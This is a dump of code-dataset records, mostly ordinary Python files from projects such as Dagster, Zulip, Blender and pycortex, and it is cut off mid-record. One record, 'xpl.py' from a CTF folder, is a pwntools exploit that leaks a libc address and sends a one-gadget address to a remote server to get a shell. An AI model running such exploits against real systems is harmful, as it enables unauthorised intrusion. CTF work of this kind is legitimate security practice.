hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 958k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 2
classes | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1c4a6340c5d62211f6a45bfb0967b64e8ecde7eb | 1,355 | py | Python | src/slim_train.py | limxuanyu127/seesawfacenet_pytorch | d975f12cb48b53508ca7ea42c5b0b459eb73a2bc | [
"MIT"
] | null | null | null | src/slim_train.py | limxuanyu127/seesawfacenet_pytorch | d975f12cb48b53508ca7ea42c5b0b459eb73a2bc | [
"MIT"
] | null | null | null | src/slim_train.py | limxuanyu127/seesawfacenet_pytorch | d975f12cb48b53508ca7ea42c5b0b459eb73a2bc | [
"MIT"
] | null | null | null | from config import get_config
from slim_Learner import face_learner
import argparse
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='for face verification')
parser.add_argument("-e", "--epochs", help="training epochs", default=16, type=int)
parser.add_argument("-net", "--net_mode", ... | 43.709677 | 143 | 0.687823 | from config import get_config
from slim_Learner import face_learner
import argparse
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='for face verification')
parser.add_argument("-e", "--epochs", help="training epochs", default=16, type=int)
parser.add_argument("-net", "--net_mode", ... | true | true |
1c4a64081f8217ebdf60f72541839ad38a6f2848 | 890 | py | Python | release/scripts/modules/bl_keymap_utils/__init__.py | rbabari/blender | 6daa85f14b2974abfc3d0f654c5547f487bb3b74 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 365 | 2015-02-10T15:10:55.000Z | 2022-03-03T15:50:51.000Z | release/scripts/modules/bl_keymap_utils/__init__.py | rbabari/blender | 6daa85f14b2974abfc3d0f654c5547f487bb3b74 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 45 | 2015-01-09T15:34:20.000Z | 2021-10-05T14:44:23.000Z | release/scripts/modules/bl_keymap_utils/__init__.py | rbabari/blender | 6daa85f14b2974abfc3d0f654c5547f487bb3b74 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 172 | 2015-01-25T15:16:53.000Z | 2022-01-31T08:25:36.000Z | # ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distrib... | 34.230769 | 74 | 0.716854 | true | true | |
1c4a65bb65df12ad239c522acfad3662a7231d1a | 15,278 | py | Python | cortex/dataset/views.py | mvdoc/pycortex | bc8a93cac9518e3c1cd89650c703f9f3814e805b | [
"BSD-2-Clause"
] | 423 | 2015-01-06T02:46:46.000Z | 2022-03-23T17:20:38.000Z | cortex/dataset/views.py | mvdoc/pycortex | bc8a93cac9518e3c1cd89650c703f9f3814e805b | [
"BSD-2-Clause"
] | 243 | 2015-01-03T02:10:03.000Z | 2022-03-31T19:29:48.000Z | cortex/dataset/views.py | mvdoc/pycortex | bc8a93cac9518e3c1cd89650c703f9f3814e805b | [
"BSD-2-Clause"
] | 136 | 2015-03-23T20:35:59.000Z | 2022-03-09T13:39:10.000Z | import json
import h5py
import numpy as np
from six import string_types
from .. import options
from .braindata import BrainData, VolumeData, VertexData
default_cmap = options.config.get("basic", "default_cmap")
def normalize(data):
if isinstance(data, tuple):
if len(data) == 3:
if data[0].dt... | 39.074169 | 115 | 0.582668 | import json
import h5py
import numpy as np
from six import string_types
from .. import options
from .braindata import BrainData, VolumeData, VertexData
default_cmap = options.config.get("basic", "default_cmap")
def normalize(data):
if isinstance(data, tuple):
if len(data) == 3:
if data[0].dt... | true | true |
1c4a676f27ed3a73245add251cc9aa1a30f369df | 374 | py | Python | _ctfs/wargamesmy-19/babypwn/xpl.py | daniellimws/daniellimws.github.io | 464548e058ca423548cbe95c4ee38f856f9185c2 | [
"MIT"
] | 1 | 2019-01-31T16:50:12.000Z | 2019-01-31T16:50:12.000Z | _ctfs/wargamesmy-19/babypwn/xpl.py | daniellimws/daniellimws.github.io | 464548e058ca423548cbe95c4ee38f856f9185c2 | [
"MIT"
] | null | null | null | _ctfs/wargamesmy-19/babypwn/xpl.py | daniellimws/daniellimws.github.io | 464548e058ca423548cbe95c4ee38f856f9185c2 | [
"MIT"
] | 3 | 2019-03-04T12:46:18.000Z | 2021-05-18T16:10:44.000Z | from pwn import *
# r = process("./babypwn")
r = remote("45.76.161.20", 19509)
leak = u32(r.recv(4))
libc_base = leak - 0xd80 - 0x1d8000
log.info("Leaked: " + hex(libc_base))
sh = libc_base + 0x3d0d5
log.info("Shell: " + hex(sh))
sh = -(2**32 - sh) if sh > 0x7fffffff else sh
# pause()
r.sendline(str(sh))
# pause()
r.i... | 23.375 | 45 | 0.660428 | from pwn import *
r = remote("45.76.161.20", 19509)
leak = u32(r.recv(4))
libc_base = leak - 0xd80 - 0x1d8000
log.info("Leaked: " + hex(libc_base))
sh = libc_base + 0x3d0d5
log.info("Shell: " + hex(sh))
sh = -(2**32 - sh) if sh > 0x7fffffff else sh
r.sendline(str(sh))
r.interactive()
| true | true |
1c4a6843d62ed680a7b0c55c9e80f25fddaa013a | 47 | py | Python | Taekwon/Python/baseGrammar/codeup040.py | sonnysorry/codingtest | 478e0168e3209eb97b6b16910027bf12ccc3ccd0 | [
"MIT"
] | 2 | 2021-09-27T19:10:36.000Z | 2021-11-09T05:40:39.000Z | Taekwon/Python/baseGrammar/codeup040.py | sonnysorry/codingtest | 478e0168e3209eb97b6b16910027bf12ccc3ccd0 | [
"MIT"
] | 1 | 2021-11-15T14:56:54.000Z | 2021-11-15T14:56:54.000Z | Taekwon/Python/baseGrammar/codeup040.py | sonnysorry/codingtest | 478e0168e3209eb97b6b16910027bf12ccc3ccd0 | [
"MIT"
] | null | null | null | a, b = input().split()
print(int(a) // int(b))
| 15.666667 | 23 | 0.531915 | a, b = input().split()
print(int(a) // int(b))
| true | true |
1c4a6896ce6f6954c7f299bc77e2b3cfe6d96de7 | 2,983 | py | Python | huaweicloud-sdk-iotda/huaweicloudsdkiotda/v5/model/untag_device_response.py | huaweicloud/huaweicloud-sdk-python-v3 | 7a6270390fcbf192b3882bf763e7016e6026ef78 | [
"Apache-2.0"
] | 64 | 2020-06-12T07:05:07.000Z | 2022-03-30T03:32:50.000Z | huaweicloud-sdk-iotda/huaweicloudsdkiotda/v5/model/untag_device_response.py | huaweicloud/huaweicloud-sdk-python-v3 | 7a6270390fcbf192b3882bf763e7016e6026ef78 | [
"Apache-2.0"
] | 11 | 2020-07-06T07:56:54.000Z | 2022-01-11T11:14:40.000Z | huaweicloud-sdk-iotda/huaweicloudsdkiotda/v5/model/untag_device_response.py | huaweicloud/huaweicloud-sdk-python-v3 | 7a6270390fcbf192b3882bf763e7016e6026ef78 | [
"Apache-2.0"
] | 24 | 2020-06-08T11:42:13.000Z | 2022-03-04T06:44:08.000Z | # coding: utf-8
import re
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class UntagDeviceResponse(SdkResponse):
"""
Attributes:
openapi_types (dict): The key is attribute name
... | 26.39823 | 79 | 0.546095 |
import re
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class UntagDeviceResponse(SdkResponse):
sensitive_list = []
openapi_types = {
'body': 'str'
}
attribute_map = {
'body': 'body... | true | true |
1c4a68ab2bfe23ff9552b1c0fd938fc479058e3b | 3,557 | py | Python | blocks/find_delta/pyspark/lib.py | datayoga-io/datayoga | d88b23d21d49d60d14b3c72d54e11e5034f6c1f3 | [
"Apache-2.0"
] | 16 | 2022-01-24T07:45:16.000Z | 2022-03-07T08:27:13.000Z | blocks/find_delta/pyspark/lib.py | datayoga-io/datayoga | d88b23d21d49d60d14b3c72d54e11e5034f6c1f3 | [
"Apache-2.0"
] | null | null | null | blocks/find_delta/pyspark/lib.py | datayoga-io/datayoga | d88b23d21d49d60d14b3c72d54e11e5034f6c1f3 | [
"Apache-2.0"
] | 2 | 2022-01-19T07:46:16.000Z | 2022-01-24T12:25:09.000Z | import pyspark.sql
import pyspark.sql.functions as F
import pyspark.sql.types as T
import logging
import collections
from typing import List
import functools
import operator
logger = logging.getLogger("dy_runner")
Delta = collections.namedtuple('Delta', 'insert update delete exclude')
def find_delta(
df_existin... | 33.556604 | 126 | 0.648299 | import pyspark.sql
import pyspark.sql.functions as F
import pyspark.sql.types as T
import logging
import collections
from typing import List
import functools
import operator
logger = logging.getLogger("dy_runner")
Delta = collections.namedtuple('Delta', 'insert update delete exclude')
def find_delta(
df_existin... | true | true |
1c4a68f1c5b6a23e89d1c5fd877e88f0987b2ccf | 2,069 | py | Python | common/utils.py | Spearis666/SARA | 99f4d70053faaf15c89bdb5a6ef6b624853b1f9f | [
"MIT"
] | null | null | null | common/utils.py | Spearis666/SARA | 99f4d70053faaf15c89bdb5a6ef6b624853b1f9f | [
"MIT"
] | null | null | null | common/utils.py | Spearis666/SARA | 99f4d70053faaf15c89bdb5a6ef6b624853b1f9f | [
"MIT"
] | null | null | null | import os, sys
# Check if folder exist, and try to create it if not
def checkFolder(path):
if os.path.exists(path):
return True
else:
try:
os.makedirs(path)
return True
except OSError:
return False
# List files in directory with specific extensions
def getFilesIn(directory, extension... | 26.87013 | 71 | 0.61189 | import os, sys
def checkFolder(path):
if os.path.exists(path):
return True
else:
try:
os.makedirs(path)
return True
except OSError:
return False
def getFilesIn(directory, extensions, subdir=False):
filePaths = []
for root, directories, files in os.walk(directory):
i... | true | true |
1c4a6920c0679fbb93d994ae2d9852889fe7d1aa | 2,118 | py | Python | tests/test_read_ltxt.py | l-johnston/toolbag | 1bd6ca61bfaf5856e5de320926d5593291e39e9c | [
"MIT"
] | null | null | null | tests/test_read_ltxt.py | l-johnston/toolbag | 1bd6ca61bfaf5856e5de320926d5593291e39e9c | [
"MIT"
] | null | null | null | tests/test_read_ltxt.py | l-johnston/toolbag | 1bd6ca61bfaf5856e5de320926d5593291e39e9c | [
"MIT"
] | null | null | null | """Test read_ltxt"""
from tempfile import TemporaryFile
from unyt import unyt_array
from unyt.testing import allclose_units
from toolbag import read_ltxt
# pylint: disable=missing-function-docstring
# pylint: disable=invalid-name
def test_time():
with TemporaryFile(mode="w+t", encoding="utf-8") as file:
f... | 34.721311 | 66 | 0.626062 | from tempfile import TemporaryFile
from unyt import unyt_array
from unyt.testing import allclose_units
from toolbag import read_ltxt
def test_time():
with TemporaryFile(mode="w+t", encoding="utf-8") as file:
file.write("time\tV(out)\n0.0e+0\t1.0e+0\n1.0e+0\t2.0e+0")
file.seek(0)
data = r... | true | true |
1c4a6a7fe13f1d334ea7b780e192d677da6eed5f | 570 | py | Python | textflow/model/__init__.py | ysenarath/textflow | ebb86cbedaf6ba7ed62a9f811a7d7d1818d938ac | [
"MIT"
] | 4 | 2020-12-10T19:38:15.000Z | 2021-08-02T02:00:46.000Z | textflow/model/__init__.py | ysenarath/textflow | ebb86cbedaf6ba7ed62a9f811a7d7d1818d938ac | [
"MIT"
] | 2 | 2021-01-08T18:35:04.000Z | 2021-02-07T04:25:56.000Z | textflow/model/__init__.py | ysenarath/textflow | ebb86cbedaf6ba7ed62a9f811a7d7d1818d938ac | [
"MIT"
] | 1 | 2021-04-04T19:21:40.000Z | 2021-04-04T19:21:40.000Z | """ Model """
from textflow.model.annotation import AnnotationSet, Annotation, AnnotationSpan
from textflow.model.dataset import Dataset, datasets
from textflow.model.document import Document
from textflow.model.label import Label
from textflow.model.estimator import estimators
from textflow.model.project import Projec... | 24.782609 | 79 | 0.72807 | from textflow.model.annotation import AnnotationSet, Annotation, AnnotationSpan
from textflow.model.dataset import Dataset, datasets
from textflow.model.document import Document
from textflow.model.label import Label
from textflow.model.estimator import estimators
from textflow.model.project import Project
from textflo... | true | true |
1c4a6aa6a00384fc6746c01b52b7972d18f38e00 | 679 | py | Python | src/leetcode/Coding_Interviews/number_of_1.py | highing666/leaving | c121ee2f61e45472bb71e2770d0697e902279a64 | [
"MIT"
] | null | null | null | src/leetcode/Coding_Interviews/number_of_1.py | highing666/leaving | c121ee2f61e45472bb71e2770d0697e902279a64 | [
"MIT"
] | null | null | null | src/leetcode/Coding_Interviews/number_of_1.py | highing666/leaving | c121ee2f61e45472bb71e2770d0697e902279a64 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
class Solution:
def countDigitOne(self, n: int) -> int:
digit, result = 1, 0
high, cur, low = n // 10, n % 10, 0
while high != 0 or cur != 0:
if cur == 0:
result += high * digit
elif cur == 1:
result += high *... | 23.413793 | 48 | 0.427099 |
class Solution:
def countDigitOne(self, n: int) -> int:
digit, result = 1, 0
high, cur, low = n // 10, n % 10, 0
while high != 0 or cur != 0:
if cur == 0:
result += high * digit
elif cur == 1:
result += high * digit + low + 1
... | true | true |
1c4a6b229d3ab0ade8a6a29420ac282ec48469e8 | 2,616 | py | Python | analytics/urls.py | fearless0307/zulip | 378d14af7ea73a9a83c7245706cd918bec5a37bf | [
"Apache-2.0"
] | 2 | 2019-04-24T15:22:52.000Z | 2020-01-18T11:01:31.000Z | analytics/urls.py | fearless0307/zulip | 378d14af7ea73a9a83c7245706cd918bec5a37bf | [
"Apache-2.0"
] | 10 | 2019-02-26T11:10:42.000Z | 2019-02-26T14:30:24.000Z | analytics/urls.py | fearless0307/zulip | 378d14af7ea73a9a83c7245706cd918bec5a37bf | [
"Apache-2.0"
] | 1 | 2020-01-07T15:49:54.000Z | 2020-01-07T15:49:54.000Z | from django.conf.urls import include, url
import analytics.views
from zerver.lib.rest import rest_dispatch
i18n_urlpatterns = [
# Server admin (user_profile.is_staff) visible stats pages
url(r'^activity$', analytics.views.get_activity,
name='analytics.views.get_activity'),
url(r'^realm_activity/(?... | 43.6 | 102 | 0.706804 | from django.conf.urls import include, url
import analytics.views
from zerver.lib.rest import rest_dispatch
i18n_urlpatterns = [
url(r'^activity$', analytics.views.get_activity,
name='analytics.views.get_activity'),
url(r'^realm_activity/(?P<realm_str>[\S]+)/$', analytics.views.get_realm_activity,... | true | true |
1c4a6b3c9898b1cd500e1c9204c8490401f0ca8f | 18,701 | py | Python | python_modules/dagster-graphql/dagster_graphql/schema/roots/query.py | ibelikov/dagster | 6781eaadd33ecfb0b48d7c2c7d8e193efbda4209 | [
"Apache-2.0"
] | null | null | null | python_modules/dagster-graphql/dagster_graphql/schema/roots/query.py | ibelikov/dagster | 6781eaadd33ecfb0b48d7c2c7d8e193efbda4209 | [
"Apache-2.0"
] | null | null | null | python_modules/dagster-graphql/dagster_graphql/schema/roots/query.py | ibelikov/dagster | 6781eaadd33ecfb0b48d7c2c7d8e193efbda4209 | [
"Apache-2.0"
] | 1 | 2021-11-25T11:06:39.000Z | 2021-11-25T11:06:39.000Z | import graphene
from dagster import check
from dagster.core.definitions.events import AssetKey
from dagster.core.execution.backfill import BulkActionStatus
from dagster.core.host_representation import (
InstigationSelector,
RepositorySelector,
ScheduleSelector,
SensorSelector,
)
from dagster.core.schedu... | 38.087576 | 100 | 0.71825 | import graphene
from dagster import check
from dagster.core.definitions.events import AssetKey
from dagster.core.execution.backfill import BulkActionStatus
from dagster.core.host_representation import (
InstigationSelector,
RepositorySelector,
ScheduleSelector,
SensorSelector,
)
from dagster.core.schedu... | true | true |
1c4a6b7f9a2cd7b57e29cb5f2d14e1917bfc20b7 | 3,448 | py | Python | tutorial/settings.py | cyndi088/tutorial | 4a1e373554b827fce1719fe49e1e49412eaa7af5 | [
"MIT"
] | null | null | null | tutorial/settings.py | cyndi088/tutorial | 4a1e373554b827fce1719fe49e1e49412eaa7af5 | [
"MIT"
] | 2 | 2020-01-09T07:58:53.000Z | 2020-02-12T14:57:46.000Z | tutorial/settings.py | cyndi088/tutorial | 4a1e373554b827fce1719fe49e1e49412eaa7af5 | [
"MIT"
] | null | null | null | """
Django settings for tutorial project.
Generated by 'django-admin startproject' using Django 2.2.7.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
i... | 25.540741 | 91 | 0.697506 |
import os
import sys
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.insert(0, os.path.join(BASE_DIR, 'tutorial'))
SECRET_KEY = '5nrnq$kj)nxh9@u-v#n83(9d4@x1r-vk%+%_5)!6$1smwy2-y&'
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.cont... | true | true |
1c4a6d7a93c31fd531179e05b0100a24784018f5 | 1,342 | py | Python | gudong/dumpData.py | happy6666/stockStrategies | 01ac608d1f69a7318d168036e8e6f77aa95c649c | [
"Apache-2.0"
] | null | null | null | gudong/dumpData.py | happy6666/stockStrategies | 01ac608d1f69a7318d168036e8e6f77aa95c649c | [
"Apache-2.0"
] | 1 | 2019-11-04T07:56:09.000Z | 2019-11-04T07:56:09.000Z | gudong/dumpData.py | happy6666/stockStrategies | 01ac608d1f69a7318d168036e8e6f77aa95c649c | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# coding: utf-8
import sys
import time
import urllib2
from bs4 import BeautifulSoup
req='http://vip.stock.finance.sina.com.cn/corp/go.php/vCI_StockHolder/stockid/%s/displaytype/30.phtml';
desired=set([u'\u622a\u81f3\u65e5\u671f','1','2','3','4','5','6','7','8','9','10'])
def parseData(code):
global... | 24.851852 | 103 | 0.64307 |
import sys
import time
import urllib2
from bs4 import BeautifulSoup
req='http://vip.stock.finance.sina.com.cn/corp/go.php/vCI_StockHolder/stockid/%s/displaytype/30.phtml';
desired=set([u'\u622a\u81f3\u65e5\u671f','1','2','3','4','5','6','7','8','9','10'])
def parseData(code):
global req
url=req%code
rep=urllib2.... | false | true |
1c4a6d92ab4a6582c87d304e6fe65c32e55535a7 | 17,478 | py | Python | google/cloud/iap/v1/iap-v1-py/google/cloud/iap_v1/services/identity_aware_proxy_admin_service/transports/grpc_asyncio.py | googleapis/googleapis-gen | d84824c78563d59b0e58d5664bfaa430e9ad7e7a | [
"Apache-2.0"
] | 7 | 2021-02-21T10:39:41.000Z | 2021-12-07T07:31:28.000Z | google/cloud/iap/v1/iap-v1-py/google/cloud/iap_v1/services/identity_aware_proxy_admin_service/transports/grpc_asyncio.py | googleapis/googleapis-gen | d84824c78563d59b0e58d5664bfaa430e9ad7e7a | [
"Apache-2.0"
] | 6 | 2021-02-02T23:46:11.000Z | 2021-11-15T01:46:02.000Z | google/cloud/iap/v1/iap-v1-py/google/cloud/iap_v1/services/identity_aware_proxy_admin_service/transports/grpc_asyncio.py | googleapis/googleapis-gen | d84824c78563d59b0e58d5664bfaa430e9ad7e7a | [
"Apache-2.0"
] | 4 | 2021-01-28T23:25:45.000Z | 2021-08-30T01:55:16.000Z | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 46.360743 | 98 | 0.639318 |
import warnings
from typing import Awaitable, Callable, Dict, Optional, Sequence, Tuple, Union
from google.api_core import gapic_v1
from google.api_core import grpc_helpers_async
from google.auth import credentials as ga_credentials
from google.auth.transport.grpc import S... | true | true |
1c4a6da9e32f2fa4fbbdec55c0b23a5795f8a579 | 9,407 | py | Python | tools/telemetry/telemetry/timeline/thread.py | kjthegod/chromium | cf940f7f418436b77e15b1ea23e6fa100ca1c91a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 1 | 2019-11-28T10:46:52.000Z | 2019-11-28T10:46:52.000Z | tools/telemetry/telemetry/timeline/thread.py | kjthegod/chromium | cf940f7f418436b77e15b1ea23e6fa100ca1c91a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | tools/telemetry/telemetry/timeline/thread.py | kjthegod/chromium | cf940f7f418436b77e15b1ea23e6fa100ca1c91a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 2 | 2015-03-27T11:15:39.000Z | 2016-08-17T14:19:56.000Z | # Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import telemetry.timeline.async_slice as async_slice_module
import telemetry.timeline.event_container as event_container
import telemetry.timeline.flow_event ... | 35.90458 | 80 | 0.672691 |
import telemetry.timeline.async_slice as async_slice_module
import telemetry.timeline.event_container as event_container
import telemetry.timeline.flow_event as flow_event_module
import telemetry.timeline.sample as sample_module
import telemetry.timeline.slice as slice_module
class Thread(event_container.TimelineE... | true | true |
1c4a6de9d76149804cfadbfe3dc687ed9ec8343a | 1,570 | py | Python | src/runners/utils.py | timfletch/SnowAlert | 7736ae4e7e1c8d3d4be34f8e360eddea53c49d2c | [
"Apache-2.0"
] | null | null | null | src/runners/utils.py | timfletch/SnowAlert | 7736ae4e7e1c8d3d4be34f8e360eddea53c49d2c | [
"Apache-2.0"
] | null | null | null | src/runners/utils.py | timfletch/SnowAlert | 7736ae4e7e1c8d3d4be34f8e360eddea53c49d2c | [
"Apache-2.0"
] | null | null | null | from datetime import date, datetime
import inspect
from itertools import zip_longest
import json
import traceback
from types import GeneratorType
NO_FILL = object()
def groups_of(n, iterable, fillvalue=NO_FILL):
args = [iter(iterable)] * n
rets = zip_longest(*args, fillvalue=fillvalue)
return (tuple(l fo... | 27.068966 | 76 | 0.642675 | from datetime import date, datetime
import inspect
from itertools import zip_longest
import json
import traceback
from types import GeneratorType
NO_FILL = object()
def groups_of(n, iterable, fillvalue=NO_FILL):
args = [iter(iterable)] * n
rets = zip_longest(*args, fillvalue=fillvalue)
return (tuple(l fo... | true | true |
1c4a7040f025b55e78f539572f49045fceb53255 | 11,790 | py | Python | pyleecan/Classes/CondType12.py | jgdedamas/pyleecan | 52ca00b36bbf1a1ba24ae722cf72c5e8e8e16395 | [
"Apache-2.0"
] | null | null | null | pyleecan/Classes/CondType12.py | jgdedamas/pyleecan | 52ca00b36bbf1a1ba24ae722cf72c5e8e8e16395 | [
"Apache-2.0"
] | null | null | null | pyleecan/Classes/CondType12.py | jgdedamas/pyleecan | 52ca00b36bbf1a1ba24ae722cf72c5e8e8e16395 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# File generated according to Generator/ClassesRef/Machine/CondType12.csv
# WARNING! All changes made in this file will be lost!
"""Method code available at https://github.com/Eomys/pyleecan/tree/master/pyleecan/Methods/Machine/CondType12
"""
from os import linesep
from sys import getsizeof
fro... | 32.125341 | 249 | 0.609669 |
from os import linesep
from sys import getsizeof
from logging import getLogger
from ._check import check_var, raise_
from ..Functions.get_logger import get_logger
from ..Functions.save import save
from ..Functions.copy import copy
from ..Functions.load import load_init_dict
from ..Functions.Load.import_class import... | true | true |
1c4a704defde2f07302fed79149db9bb0af194e7 | 4,779 | py | Python | test/functional/interface_http.py | kyancoin/KYAN | 39174bd5add8a41a82ca53e5f1372e4c0a58f447 | [
"MIT"
] | 6 | 2020-09-17T04:29:33.000Z | 2021-08-08T16:39:10.000Z | test/functional/interface_http.py | sapphire-pt/KYAN | 0c534d9a10a8d07d3707c74e6ea93477857b5ec7 | [
"MIT"
] | 22 | 2020-07-31T20:01:16.000Z | 2020-08-13T09:58:21.000Z | test/functional/interface_http.py | kyancoin/KYAN | 39174bd5add8a41a82ca53e5f1372e4c0a58f447 | [
"MIT"
] | 4 | 2020-09-17T22:32:25.000Z | 2022-01-12T20:49:24.000Z | #!/usr/bin/env python3
# Copyright (c) 2014-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the RPC HTTP basics."""
from test_framework.test_framework import PivxTestFramework
from test_fra... | 43.844037 | 108 | 0.632768 |
from test_framework.test_framework import PivxTestFramework
from test_framework.util import *
import http.client
import urllib.parse
class HTTPBasicsTest (PivxTestFramework):
def set_test_params(self):
self.num_nodes = 3
def setup_network(self):
self.setup_nodes()
def run_test(self)... | true | true |
1c4a70cf289dd3128b34f541efdf029286cbd0d2 | 1,070 | py | Python | data/migrations/0012_auto_20191005_0731.py | SIXMON/peps | 48c09a951a0193ada7b91c8bb6efc4b1232c3520 | [
"MIT"
] | 5 | 2019-08-29T13:55:47.000Z | 2021-11-15T08:30:33.000Z | data/migrations/0012_auto_20191005_0731.py | SIXMON/peps | 48c09a951a0193ada7b91c8bb6efc4b1232c3520 | [
"MIT"
] | 295 | 2019-08-19T12:40:29.000Z | 2022-01-24T14:03:20.000Z | data/migrations/0012_auto_20191005_0731.py | SIXMON/peps | 48c09a951a0193ada7b91c8bb6efc4b1232c3520 | [
"MIT"
] | 7 | 2020-05-27T06:28:48.000Z | 2021-11-17T10:00:54.000Z | # Generated by Django 2.2.4 on 2019-10-05 07:31
import django.contrib.postgres.fields
import django.contrib.postgres.fields.jsonb
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('data', '0011_auto_20191004_1505'),
]
operations = [
migrations.Rem... | 31.470588 | 155 | 0.636449 |
import django.contrib.postgres.fields
import django.contrib.postgres.fields.jsonb
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('data', '0011_auto_20191004_1505'),
]
operations = [
migrations.RemoveField(
model_name='practice',
... | true | true |
1c4a70d44d91648b29f794c7eba76c2e8bd1c7fa | 7,104 | py | Python | bsp_tool/branches/valve/orange_box.py | snake-biscuits/bsp_tool | f2a1ab3ff502d0ca4ade97ff6e44823d2f8f5773 | [
"MIT"
] | 44 | 2018-07-06T04:44:02.000Z | 2022-03-27T02:18:37.000Z | bsp_tool/branches/valve/orange_box.py | snake-biscuits/bsp_tool | f2a1ab3ff502d0ca4ade97ff6e44823d2f8f5773 | [
"MIT"
] | 18 | 2018-07-25T23:19:17.000Z | 2022-03-16T23:59:36.000Z | bsp_tool/branches/valve/orange_box.py | snake-biscuits/bsp_tool | f2a1ab3ff502d0ca4ade97ff6e44823d2f8f5773 | [
"MIT"
] | 12 | 2019-09-13T21:52:51.000Z | 2022-03-22T18:04:21.000Z | # https://github.com/ValveSoftware/source-sdk-2013/blob/master/sp/src/public/bspfile.h
import enum
import io
import struct
from typing import List
from .. import base
from . import source
FILE_MAGIC = b"VBSP"
BSP_VERSION = 20 # NOTE: v20 Source BSPs differ widely, since many forks are of this version
GAME_PATHS =... | 36.060914 | 106 | 0.657517 |
import enum
import io
import struct
from typing import List
from .. import base
from . import source
FILE_MAGIC = b"VBSP"
BSP_VERSION = 20
GAME_PATHS = ["Day of Defeat: Source",
"G String",
"Garry's Mod",
"Half-Life 2: Episode 2",
"Half-Life 2 Update",
... | true | true |
1c4a711bd8237da25790895bd0df02e797b5f2e6 | 5,306 | py | Python | benchmark/networks/centralized_ac.py | HONGcalmJIN/SMARTS | 0e2249a3bc985ee9279512d6154ce32732065835 | [
"MIT"
] | null | null | null | benchmark/networks/centralized_ac.py | HONGcalmJIN/SMARTS | 0e2249a3bc985ee9279512d6154ce32732065835 | [
"MIT"
] | null | null | null | benchmark/networks/centralized_ac.py | HONGcalmJIN/SMARTS | 0e2249a3bc985ee9279512d6154ce32732065835 | [
"MIT"
] | 1 | 2022-03-31T02:14:09.000Z | 2022-03-31T02:14:09.000Z | import numpy as np
from collections import OrderedDict
from typing import List, Dict
from gym import spaces
from ray.rllib.utils.framework import try_import_tf, get_activation_fn
from ray.rllib.utils.annotations import override
from ray.rllib.utils.types import ModelConfigDict, TensorType
from ray.rllib.models import... | 35.851351 | 87 | 0.613456 | import numpy as np
from collections import OrderedDict
from typing import List, Dict
from gym import spaces
from ray.rllib.utils.framework import try_import_tf, get_activation_fn
from ray.rllib.utils.annotations import override
from ray.rllib.utils.types import ModelConfigDict, TensorType
from ray.rllib.models import... | true | true |
1c4a7170b0fa8e60f08719c553b8346bac8ea857 | 525 | py | Python | src/asymmetric_jwt_auth/migrations/0002_publickey_comment.py | crgwbr/asymmetric-jwt-auth | e4b7889a893dcc57eab20a2ed7265b6e9f44d4b9 | [
"0BSD"
] | 18 | 2017-08-12T06:57:27.000Z | 2022-03-17T18:55:04.000Z | src/asymmetric_jwt_auth/migrations/0002_publickey_comment.py | crgwbr/asymmetric-jwt-auth | e4b7889a893dcc57eab20a2ed7265b6e9f44d4b9 | [
"0BSD"
